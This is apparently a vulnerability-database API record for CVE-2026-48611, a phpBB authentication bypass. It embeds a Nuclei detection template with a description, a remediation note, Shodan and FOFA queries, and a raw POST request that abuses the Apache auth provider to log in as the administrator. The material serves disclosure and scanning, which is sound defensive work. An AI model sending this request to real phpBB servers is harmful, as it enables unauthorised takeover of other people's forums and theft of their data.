{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-48611/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-48611/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-48611/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-48611/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-48611/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-48611"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-48611"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-48611.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-48611\n\ninfo:\n  name: phpBB < 3.3.17 - Authentication Bypass\n  author: aikido,DhiyaneshDk\n  severity: critical\n  description: |\n    phpBB before 3.3.17 contains an authentication bypass vulnerability in the login-link feature. By setting the auth_provider query parameter to \"apache\", an unauthenticated attacker can bypass password verification and log in as any user, including administrators. The Apache auth provider trusts the Basic authentication header username without password verification, as it assumes Apache handles authentication upstream.\n  impact: |\n    An unauthenticated attacker can log in as any user including administrators, gaining full control over the phpBB forum, leading to data theft, defacement, and complete forum takeover.\n  remediation: |\n    Upgrade phpBB to version 3.3.17 or later.\n  reference:\n    - https://www.aikido.dev/blog/authentication-bypass-phpbb-technical-writeup\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-48611\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-48611\n    epss-score: 0.02888\n    epss-percentile: 0.86304\n    cwe-id: CWE-287\n    cpe: cpe:2.3:a:phpbb:phpbb:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: phpbb\n    product: phpbb\n    shodan-query: http.component:\"phpBB\"\n    fofa-query: app=\"phpBB\"\n  tags: cve,cve2026,phpbb,auth-bypass,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Authorization: Basic YWRtaW46eA==\n\n        login_username=admin&login_password=x&login=Login\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: set_cookie\n        words:\n          - \"phpbb_sid\"\n          - \"phpbb\"\n        condition: and\n\n      - type: status\n        status:\n          - 302\n# digest: 4b0a00483046022100c4adb07b175cb871104ec0502f7c2f2339c5b02f37caaba868839e0fe2941fc8022100915a2fcb63ed93e619f03aeeb6970a492efdb9e6dd38b89252c6891d84b120f2:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-48611"
}